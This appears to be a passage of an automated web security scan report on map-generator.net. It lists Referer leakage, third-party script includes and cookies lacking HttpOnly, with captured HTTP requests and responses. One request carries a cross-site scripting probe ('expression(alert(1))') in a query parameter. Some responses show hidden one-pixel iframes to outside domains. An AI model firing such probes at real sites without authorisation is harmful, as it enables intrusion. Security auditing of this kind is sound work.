Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 8214

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Map / Street Map - Spot @ 10 market st, san francisco</title>
<meta name="description" content="Free M
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 6 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /?it HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017346; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 12932

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<![endif]-->
<script src="http://maps.google.it/maps?file=api&amp;v=2.93&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

3.2. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /?stuff HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; mapb=1304017296; maps=1304017296; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:01:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017296; expires=Sun, 01-May-2011 19:01:46 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017296; expires=Sat, 27-Apr-2013 19:01:46 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017306; expires=Sat, 28-May-2011 19:01:46 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017306; expires=Sat, 27-Apr-2013 19:01:46 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13052

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<![endif]-->
<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
<div align="left" style="clear: left;color:#666666">
   <a href="http://www.foxyform.de"><strong style="color:#6d6de8;">
...[SNIP]...
<br>
   <a href="http://www.foxyform.com"><strong style="color:#6d6de8;">
...[SNIP]...

3.3. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /?en HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:25 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017346; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13373

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<![endif]-->
<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
<div align="left" style="clear: left;color:#666666">Big thanks to
<a href="http://board.protecus.de"><strong style="color:#6d6de8;">
...[SNIP]...
</a> and it's <a href="http://board.protecus.de/f21.htm"><strong style="color:#6d6de8;">
...[SNIP]...
</script> / <a href="http://www.webutation.org">Reputation</a>
...[SNIP]...

3.4. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /?de HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017346; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13391

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<![endif]-->
<script src="http://maps.google.de/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
<div align="left" style="clear: left;color:#666666">
<a href="http://www.boardunity.de"><strong style="color:#6d6de8;">
...[SNIP]...

3.5. http://www.map-generator.net/extmap.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
Referer: http://www.networkvigilance.com/main/Company/ContactUs.htm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:27:07 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939627; expires=Sat, 30-Apr-2011 21:27:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1303939627; expires=Fri, 27-May-2011 21:27:07 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 8541

<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
<br><iframe src="http://trackstistics.com/tsi3.html" name="none" width="1" height="1" frameborder="0" scrolling="no"></iframe>
...[SNIP]...
</a>
<iframe src="http://ui-layouts.com/tsi3.html" name="none" width="1" height="1" frameborder="0" scrolling="no"></iframe>
...[SNIP]...

3.6. http://www.map-generator.net/map.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /map.php

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /map.php?name=Spot&address=10%20market%20st%2C%20san%20francisco&width=500&height=400&maptype=map&zoom=14&t=1303940766 HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 8214

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Map / Street Map - Spot @ 10 market st, san francisco</title>
<meta name="description" content="Free M
...[SNIP]...
<![endif]-->
<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
<br /><iframe src="http://ui-layouts.com/tsi3.html" name="none" width="1" height="1" frameborder="0" scrolling="no"></iframe>
...[SNIP]...

4. Cross-domain script include  previous  next
There are 5 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


4.1. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /?it HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017346; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 12932

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<![endif]-->
<script src="http://maps.google.it/maps?file=api&amp;v=2.93&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

4.2. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET / HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mapb=1303939626; __utmz=22393895.1303939641.1.1.utmcsr=networkvigilance.com|utmccn=(referral)|utmcmd=referral|utmcct=/main/Company/ContactUs.htm; __utma=22393895.2116306113.1303939641.1303939641.1303939641.1; __utmc=22393895; __utmb=22393895.2.10.1303939641

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:46:07 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939626; expires=Sat, 30-Apr-2011 21:46:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1303940767; expires=Fri, 27-May-2011 21:46:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1303940767; expires=Fri, 26-Apr-2013 21:46:07 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13373

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<![endif]-->
<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

4.3. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /?de HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017346; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13391

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...
<![endif]-->
<script src="http://maps.google.de/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

4.4. http://www.map-generator.net/extmap.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
Referer: http://www.networkvigilance.com/main/Company/ContactUs.htm
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:27:07 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939627; expires=Sat, 30-Apr-2011 21:27:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1303939627; expires=Fri, 27-May-2011 21:27:07 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 8541

<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

4.5. http://www.map-generator.net/map.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /map.php

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /map.php HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 8214

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Map / Street Map - Spot @ 10 market st, san francisco</title>
<meta name="description" content="Free M
...[SNIP]...
<![endif]-->
<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next
There are 3 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



5.1. http://www.map-generator.net/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mapb=1303939626; __utmz=22393895.1303939641.1.1.utmcsr=networkvigilance.com|utmccn=(referral)|utmcmd=referral|utmcct=/main/Company/ContactUs.htm; __utma=22393895.2116306113.1303939641.1303939641.1303939641.1; __utmc=22393895; __utmb=22393895.2.10.1303939641

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:46:07 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939626; expires=Sat, 30-Apr-2011 21:46:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1303940767; expires=Fri, 27-May-2011 21:46:07 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1303940767; expires=Fri, 26-Apr-2013 21:46:07 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 13373

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
...[SNIP]...

5.2. http://www.map-generator.net/extmap.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /extmap.php?name=Network%20Vigilance&address=10731%20Treena%20Street%2C%20Suite%20200%2C%20San%20Diego%2C%20CA%2092131b6c6c%22%20style%3dx%3aexpression(alert(1))%2058d6d814413&width=625&height=310&maptype=map&zoom=14&hl=en&t=1233200766 HTTP/1.1
Host: www.map-generator.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: maps=1303940766; mapb=1303939727; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.2.10.1304016692

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 18:52:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1303939727; expires=Sun, 01-May-2011 18:52:11 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1303940766; expires=Sat, 27-Apr-2013 18:52:11 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304016731; expires=Sat, 28-May-2011 18:52:11 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 8483

<script src="http://maps.google.com/maps?file=api&amp;v=2.x&amp;key=ABQIAAAAsNaTrYI_ppibUKrD9B4vsRR-G8LqSX3VjXDBcvQWXC1NF0S6axQtS-T1RXV3I9rMTxEoCiCPG88LDw" type="text/javascript" charset="utf-8"></scr
...[SNIP]...

5.3. http://www.map-generator.net/map.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.map-generator.net
Path:   /map.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /map.php HTTP/1.1
Host: www.map-generator.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: maps=1304017305; mapb=1304017305; __utmz=22393895.1304016692.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/23; __utma=22393895.2116306113.1303939641.1303939641.1304016692.2; __utmc=22393895; __utmb=22393895.12.10.1304016692;

Response

HTTP/1.1 200 OK
Date: Thu, 28 Apr 2011 19:02:26 GMT
Server: Apache
X-Powered-By: PHP/5.2.12-nmm2
Set-Cookie: mapb=1304017305; expires=Sun, 01-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: maps=1304017305; expires=Sat, 27-Apr-2013 19:02:26 GMT; path=/; domain=.map-generator.net
Set-Cookie: mapb=1304017346; expires=Sat, 28-May-2011 19:02:26 GMT; path=/; domain=.map-generator.net
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 8214

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Map / Street Map - Spot @ 10 market st, san francisco</title>
<meta name="description" content="Free M
...[SNIP]...

6. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
